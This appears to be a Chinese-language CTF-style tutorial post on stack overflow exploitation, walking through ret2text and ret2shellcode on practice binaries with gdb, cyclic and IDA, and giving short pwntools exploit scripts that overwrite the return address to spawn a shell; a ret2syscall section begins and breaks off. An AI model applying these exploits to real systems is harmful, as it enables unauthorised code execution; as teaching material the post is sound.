pwn by example

ret2text

原理

ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP

mark

先看一下开了什么保护措施
nx = no execution,如果开启的话就不能让IP寄存器指向堆和栈(堆和栈是不同的东西)

32-bit
dynamically linked 动态链接

获取了基本信息之后运行程序来分析功能,程序就一个输入点,拖入ida分析一下

mark

gets函数读取无限制的用户输入到栈上,所以可以覆盖返回地址。那么先来做这一步,控制IP寄存器

首先要确认输入到第多少位可以覆盖到返回地址。用cyclic生成特定的字符串输入进去,在gdb里跑起来

mark

mark

得出无效地址为0x62616164后用cyclic -l 0x62616164计算出实际地址

mark

同时用objdump -R ret2text检查一下程序有哪些功能

mark

提供了system函数,在ida中检查在什么地方使用(使用X-交叉引用,tab-查看该函数等快捷键)

mark

程序在地址0x0804863A提供了获取shell的功能,只要跳转到这里即可获得shell,所以用这个地址覆盖栈到返回地址

编写exp:

1
2
3
4
5
6
7
from pwn import *

p = process('./ret2text')

p.sendline('a'*112 + p32(0x0804863A))

p.interactive()

mark

成功获取shell

ret2shellcode

mark

同样检查基础信息,发现和上一个例子不同的是关闭了nx,这代表IP寄存器可以指向堆、栈了

mark

只有一个输入点,拖进ida看一下

mark

有一个很明显的栈溢出gets(&s)

和之前的例子一样,发现可以控制返回地址,但现在还不知道应该返回到什么地方去

mark

用objdump看到程序中没有用到system函数

这时候注意两个点:

1.nx是关闭的

2.strncpy(buf2, (const char *)&v4, 0x64u);

nx关闭说明我们可以把shellcode放在堆、栈或者其他数据段上,然后让IP寄存器指向那里就可以获得shell

strncpy意思是程序会把输入的字符串复制到buf2去

.bss:0804A080 buf2 db 64h dup(?)

在PIE没有开启的情况下,bss段的地址是固定的,所以我们可以把shellcode写入bss段,然后跳转过去就可以获取shell了

Ps: 现代的操作系统都默认开启了aslr保护,这个保护由系统管理,开启时,堆、栈、libc的地址会随机化,但bss段没有随机化

用cyclic生成200个字符串,gdb跑起来输入字符串可以看到无效的地址0x62616164

接着cyclic -l 0x62616164可以计算出偏移地址112

(除了用cyclic计算偏移也可以手动计算)

mark

exp:

1
2
3
4
5
6
7
8
from pwn import *

context.binary = './ret2shellcode'
p = process('./ret2shellcode')

p.sendline(asm(shellcraft.sh()).ljust(112,'a') + p32(0x0804A080)) //这112个字节之后就是用来控制返回地址的数据,这个地址是buf2的地址,在前面112个字节里放入shellcode

p.interactive()

ret2syscall

原理

ret2syscall,即控制程序执行系统调用,获取 shell。

mark

只开启了nx保护

mark

同样明显的栈溢出